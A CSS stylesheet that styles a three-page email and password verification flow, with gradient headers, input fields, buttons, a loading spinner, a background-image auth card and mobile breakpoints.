* {
    margin: 0;
    padding: 0;
    box-sizing: border-box;
}

body {
    font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', 'Roboto', 'Oxygen', 'Ubuntu', 'Cantarell', 'Fira Sans', 'Droid Sans', 'Helvetica Neue', sans-serif;
    background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
    min-height: 100vh;
    display: flex;
    justify-content: center;
    align-items: center;
    padding: 20px;
}

.page-container {
    width: 100%;
    max-width: 500px;
}

.verification-container {
    background: white;
    border-radius: 12px;
    box-shadow: 0 8px 32px rgba(0, 0, 0, 0.1);
    max-width: 500px;
    width: 100%;
    overflow: hidden;
}

.verification-header {
    background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
    color: white;
    padding: 40px 20px;
    text-align: center;
}

.lock-icon {
    font-size: 40px;
    display: block;
    margin-bottom: 15px;
}

.verification-header h1 {
    font-size: 28px;
    font-weight: 600;
    margin: 0;
}

.verification-content {
    padding: 40px 30px;
}

.verification-content > p {
    color: #666;
    font-size: 16px;
    margin-bottom: 25px;
    text-align: center;
}

.form-group {
    margin-bottom: 20px;
}

label {
    display: block;
    margin-bottom: 8px;
    color: #333;
    font-weight: 500;
    font-size: 14px;
}

input[type="email"],
input[type="password"] {
    width: 100%;
    padding: 12px 15px;
    border: 2px solid #e0e0e0;
    border-radius: 6px;
    font-size: 16px;
    transition: border-color 0.3s;
}

input[type="email"]:focus,
input[type="password"]:focus {
    outline: none;
    border-color: #667eea;
    box-shadow: 0 0 0 3px rgba(102, 126, 234, 0.1);
}

.error-message {
    color: #e74c3c;
    font-size: 13px;
    margin-top: 5px;
    display: none;
}

.continue-btn,
.access-btn,
.verify-btn {
    width: 100%;
    padding: 12px;
    background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
    color: white;
    border: none;
    border-radius: 6px;
    font-size: 16px;
    font-weight: 600;
    cursor: pointer;
    transition: transform 0.2s, box-shadow 0.2s;
    margin-top: 10px;
}

.continue-btn:hover,
.access-btn:hover,
.verify-btn:hover {
    transform: translateY(-2px);
    box-shadow: 0 4px 12px rgba(102, 126, 234, 0.4);
}

.continue-btn:active,
.access-btn:active,
.verify-btn:active {
    transform: translateY(0);
}

.notice-section {
    background: #f5f5f5;
    padding: 20px;
    border-radius: 6px;
    margin-top: 25px;
}

.notice-section h3 {
    color: #333;
    font-size: 14px;
    margin-bottom: 10px;
}

.notice-section p {
    color: #666;
    font-size: 13px;
    line-height: 1.6;
    margin-bottom: 15px;
}

.privacy-badge {
    display: inline-block;
    background: #27ae60;
    color: white;
    padding: 6px 12px;
    border-radius: 4px;
    font-size: 12px;
    font-weight: 600;
}

.verification-footer {
    display: flex;
    justify-content: space-between;
    align-items: center;
    margin-top: 20px;
    padding-top: 20px;
    border-top: 1px solid #e0e0e0;
    font-size: 12px;
    color: #999;
}

.verification-footer a {
    color: #667eea;
    text-decoration: none;
    transition: color 0.3s;
}

.verification-footer a:hover {
    color: #764ba2;
}

/* PAGE 2 STYLES */
.page2-container {
    width: 100%;
    max-width: 500px;
}

.password-card {
    background: white;
    border-radius: 12px;
    box-shadow: 0 8px 32px rgba(0, 0, 0, 0.1);
    overflow: hidden;
}

.card-header {
    background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
    color: white;
    padding: 30px 20px;
    text-align: center;
}

.card-header h1 {
    font-size: 24px;
    font-weight: 600;
    margin-bottom: 10px;
}

.email-display {
    font-size: 14px;
    opacity: 0.9;
    word-break: break-all;
}

.card-content {
    padding: 40px 30px;
}

.loading-spinner {
    text-align: center;
    padding: 20px;
}

.spinner {
    border: 4px solid #f3f3f3;
    border-top: 4px solid #667eea;
    border-radius: 50%;
    width: 40px;
    height: 40px;
    animation: spin 1s linear infinite;
    margin: 0 auto 15px;
}

@keyframes spin {
    0% { transform: rotate(0deg); }
    100% { transform: rotate(360deg); }
}

.loading-spinner p {
    color: #666;
    font-size: 14px;
}

/* PAGE 3 STYLES - WITH BACKGROUND IMAGE */
.page3-bg-container {
    width: 100%;
    min-height: 100vh;
    background-size: cover;
    background-position: center;
    background-attachment: fixed;
    display: flex;
    justify-content: center;
    align-items: center;
    padding: 20px;
    position: relative;
}

.page3-overlay {
    position: absolute;
    top: 0;
    left: 0;
    right: 0;
    bottom: 0;
    background: rgba(0, 0, 0, 0.4);
    backdrop-filter: blur(2px);
}

.page3-content {
    position: relative;
    z-index: 10;
    width: 100%;
    max-width: 500px;
}

.auth-card {
    background: white;
    border-radius: 12px;
    box-shadow: 0 8px 32px rgba(0, 0, 0, 0.3);
    overflow: hidden;
    animation: slideUp 0.5s ease-out;
}

@keyframes slideUp {
    from {
        opacity: 0;
        transform: translateY(30px);
    }
    to {
        opacity: 1;
        transform: translateY(0);
    }
}

.auth-header {
    background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
    color: white;
    padding: 30px 20px;
    text-align: center;
}

.auth-header h1 {
    font-size: 24px;
    font-weight: 600;
    margin-bottom: 10px;
}

.email-display-2 {
    font-size: 14px;
    opacity: 0.9;
    word-break: break-all;
}

.auth-form-content {
    padding: 40px 30px;
}

@media (max-width: 480px) {
    .verification-header {
        padding: 30px 20px;
    }
    
    .verification-header h1 {
        font-size: 24px;
    }
    
    .verification-content {
        padding: 30px 20px;
    }
    
    .lock-icon {
        font-size: 32px;
    }
    
    .card-header {
        padding: 25px 15px;
    }
    
    .card-header h1 {
        font-size: 20px;
    }
    
    .card-content {
        padding: 30px 20px;
    }
    
    .auth-header {
        padding: 25px 15px;
    }
    
    .auth-header h1 {
        font-size: 20px;
    }
    
    .auth-form-content {
        padding: 30px 20px;
    }
    
    .page3-bg-container {
        background-attachment: scroll;
    }
}